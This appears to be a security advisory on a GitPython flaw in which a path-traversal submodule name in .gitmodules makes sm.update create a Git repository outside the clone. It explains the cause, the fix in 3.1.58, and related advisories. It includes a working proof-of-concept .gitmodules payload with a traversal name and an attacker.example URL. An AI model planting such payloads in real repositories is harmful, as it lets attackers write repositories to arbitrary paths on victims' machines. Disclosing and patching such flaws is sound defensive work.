GitPython Submodule Name Path Traversal to Arbitrary Git Repository Creation
A malicious repository can write a path-traversal string as a submodule name in .gitmodules, causing GitPython to create a full Git repository at any attacker-chosen filesystem path outside the clone…

The problem
GitPython builds the on-disk location for a submodule's separate git directory as os.path.join(git_dir, 'modules', name), where name is read directly from the .gitmodules section header with no validation.
os.path.join does not normalize ../ sequences, so a name like ../../../../../../tmp/target resolves to a path entirely outside the repository. Core git has blocked this exact class of attack since CVE-2018-11235, but GitPython's independent reimplementation never adopted an equivalent check.
The only precondition is that a victim clones the repository and calls sm.update(init=True), a routine step that CI pipelines and IDE integrations often run automatically.
Proof of concept
A working proof-of-concept for this issue in GitPython, with the exact payload below.
[submodule "../../../../../../tmp/gitpython_poc_escaped_root/modules_dir"]
path = legit_dir
url = https://attacker.example/payload-repo.gitThe traversal lives in the submodule *name* field, not the path field. The path field is used for a tree lookup and gets implicitly validated; the name field is not looked up in the tree, so it passes through sm_name() and into _module_abspath() unmodified.
_clone_repo() then hands the escaped path straight to os.makedirs() and to git clone --separate-git-dir=<escaped_path>, creating and populating a full Git repository at the attacker-chosen location. The PoC confirmed escape_target exists after update: True on GitPython 3.1.57, while the real git CLI printed warning: ignoring suspicious submodule name and refused.
The fix in PR #2202 adds an explicit name-validation step in base.py before any filesystem operation, rejecting names that contain path-traversal components (CWE-22, CWE-73).
The fix
Upgrade to GitPython 3.1.58 or later. The patch (commit 4299c990, PR #2202) adds traversal validation for submodule names before any os.makedirs or git clone --separate-git-dir call. A follow-up commit (e4b8e7d0, PR #2205) extends the same check to recursive submodule update paths.
No workaround exists in older versions other than avoiding sm.update(init=True) on untrusted repositories.
Related research
- high · 8.8GitPython unsafe-option guard bypass via split_single_char_options=False short-option smuggling
- high · 8.8GitPython: git-config Option-Name Injection via = and # Characters Enables RCE
- high · 7.5GitPython Environment-Variable Exfiltration via Repo.create_remote() URL
- high · 8.1GitPython Argument Injection via Diffable.diff Enables Arbitrary File Overwrite